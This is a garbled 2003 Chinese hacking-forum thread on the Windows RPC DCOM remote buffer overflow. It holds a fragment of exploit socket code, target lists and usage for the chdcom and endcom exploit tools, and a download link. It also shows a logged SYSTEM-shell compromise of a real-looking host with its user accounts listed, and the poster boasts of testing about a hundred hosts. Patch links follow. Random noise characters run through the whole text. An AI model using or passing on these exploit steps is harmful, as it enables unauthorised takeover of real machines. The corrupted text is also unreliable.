d9 \ J3 }- f6 [, ] return;0 H! [6 _; W1 s! s8 A. G+ ~. k) c" _ } % R( G; D+ j* ]5 }- h* T( |# _8 e5 ? len=recv(sock,buf1,1000,NULL); 1 _3 t6 T- s6 M8 L7 E1 xif (send(sock,buf2,len1,0)==SOCKET_ERROR)+ v3 s) T7 v1 k2 l. ^ { . m2 K& ^1 f/ _printf("Send failed.Error:%d\n",WSAGetLastError());" V/ x3 }" [$ ~' [: e# X return;" ~/ O! g/ @) {0 i6 f) B0 `3 I }& A5 u q# \4 g! `' l/ @# m# g len=recv(sock,buf1,1024,NULL); . [' b% z4 c9 D& H$ s7 l. u} ! h& N4 O8 v( f) A9 ^# q1 k + r7 u1 c) }; v. d0 R% ?补丁机理： , p X$ w: P f9 X% z补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 3 z& G; Z9 z! Z% c* k + w2 r9 ~1 x$ K) L补记： 5 D9 e9 @$ {. d0 D由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。
作者: ASEE    时间: 2003-8-9 22:41
攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序- u6 H, E& _5 |, b* O+ c chdcom针对以下版本: : e- W0 C# _8 s3 k: y: U4 e- 0 Windows xp SP1 (cn)# [* p( L/ R1 j9 E f - 1 Windows 2000 SP3 (cn)+ Q. m3 [2 `0 u, A9 {3 _7 L - 2 Windows 2000 SP4 (cn)8 w6 v* |9 X" M! M ] - 3 Windows 2000 SP3 (english) # f: \4 R5 [+ [1 ~' P4 A- 4 Windows 2000 SP4 (english) . o; O f% a: [( c% {, A8 k8 z- 5 Windows XP SP0 (english)/ y4 m% S, @& C5 m! q - 6 Windows XP SP1 (english) 3 ?/ G1 u! g, _ J/ c" KUsage: chdcom % @; C: S3 b5 B cedcom针对以下版本: ' y/ C3 j( @+ P9 \/ {4 H1 I- e; D0 W- 0 Windows 2000 SP0 (english); O; o2 f* S9 y' ` l: x - 1 Windows 2000 SP1 (english)$ X" c0 b& D" D3 u& y2 H; F7 L- } - 2 Windows 2000 SP2 (english); G- O- y. n# q" C - 3 Windows 2000 SP3 (english) / W4 M Q( c9 \( e- 4 Windows 2000 SP4 (english) 3 {# `% y4 [4 Z1 k- 5 Windows XP SP0 (english) 0 z) G0 ?% d7 [& c3 Z- 6 Windows XP SP1 (english) " J/ H9 T6 v& K& AUsage: endcom ( z/ d, r3 F5 Y7 P0 C2 d cygwin1.dll应用程序扩展, S; S7 Z) m) T 溢出目标IP前.先用扫描器扫描开135端口的肉机. ( C: t/ X5 L5 N" ]1 c: X我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， ; q7 C8 {& [3 J' @4 m3 b) b4 O5 I/ t 比如说目标69.X.173.63开了135端口.Target ID是4 # X; r1 u W# T( \4 y7 {; F/ W0 b2 bC:\dcom>chdcom 4 69.X.173.63# e9 K9 D; C# w5 Y3 L --------------------------------------------------------- % ^, r$ j8 E/ W- Remote DCOM RPC Buffer Overflow Exploit/ L9 j7 j% C$ N, H/ q' V0 U - Original code by FlashSky and Benjurry Y0 e6 s8 a. o4 @- Rewritten by HDM last . m, B2 M' s* [: _0 U, D- last by nic * Q C2 Q! i" F9 O6 H8 L -Compiled and recorrected by pingker! $ Y! @3 h: }5 M. A$ ^* E7 j# ~; S- Using return address of 0x77f92a9b9 B$ I* E' h/ q |3 v0 M! c - Dropping to System Shell... 9 s/ L u7 I* p) B+ z - @5 [5 ^/ n0 PMicrosoft Windows 2000 [Version 5.00.2195]. g1 s. H/ j" o+ r* R (C) Copyright 1985-2000 Microsoft Corp. . J1 w0 K. C# R " [* a7 U/ v& X! W3 y. sC:\WINNT\system32> ) X6 l8 s3 q0 o% r S3 _5 Q f0 [成功溢出.) a0 g: ]! M. G8 N C:\WINNT\system32>net user" P8 J5 b5 ^0 J* U/ n net user 9 Z. i F: V8 A" H- P( m2 y0 g" y# V2 y' Q/ A4 v4 m- d2 X User accounts for \ $ k- Y3 G2 t/ A* Z! |----------------------------------------------------------------------------7 z7 f9 P: B) k% @# X8 V( a --- 9 t- S3 {- M( x; U6 Y# _Administrator ASPNET billbishopcom 6 a9 J* K+ ^. o- j$ k! Y$ odivyanshu ebuyjunction edynamic11 @+ f S$ C' V. I( H% v edynamic2 Guest infinityaspnet + v# f( \ I% ]0 s. Jinfinityinformations IUSR_DIALTONE IUSR_NS1; A) Q7 ^6 O0 S2 {1 n; N; O4 b5 Z IWAM_DIALTONE IWAM_NS1 SQLDebugger' V: |0 p. H+ S' V- ] TsInternetUser WO7 p; C% Y) o! e The command completed with one or more errors. & |3 r' [5 Z/ a" {' E这样一来你想干什么就是你的事了. : A8 ^* D# r8 J' \; v( A( E, b这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标+ F: d" }" M0 d# v7 z- L 重启才行. CN可以是繁体或简体中文颁本.8 i) Q* f3 K& \; g6 g; p1 n N 再次警告:不要对付国内主机!!!!!后果自负!!!! B C* H8 I& a: ]4 D XDcom.rar远程溢出攻击程序下载: $ `/ v- x5 |& v( Yhttp://www.cnse8.com/opensoft.asp?soft_id=206&url=3
作者: ASEE    时间: 2003-8-9 22:52
补丁：# i9 w- k' Q! u( h- P9 i
Windows NT 4.0 Server ：
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http://microsoft.com/downloads/d ... &displaylang=en
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4 U; M7 S! g3 P& z; DWindows NT 4.0 Terminal Server Edition：# j9 b: i6 j# ]0 U5 i: v; h- d  L
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http://microsoft.com/downloads/d ... &displaylang=en
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Windows 2000：
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http://microsoft.com/downloads/d ... &displaylang=en
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7 i+ b5 b9 ~( p3 @  |1 a8 o$ S* C) [Windows XP 32 bit Edition ：
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9 |. e9 V5 ~% i6 }) P1 lWindows XP 64 bit Edition：
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http://microsoft.com/downloads/d ... &displaylang=en
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Windows Server 2003 32 bit Edition：
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9 d% f4 f$ R! H8 i% y" z$ F2 H6 hWindows Server 2003 64 bit Edition：! G: k* I* \. U! ]. X4 Q- Q  t4 @
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http://microsoft.com/downloads/d ... &displaylang=en+ D. v. ^. Q1 v- [; \

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[此贴子已经被作者于2003-8-9 23:05:32编辑过]

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作者: ASEE    时间: 2003-8-10 21:25
上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。



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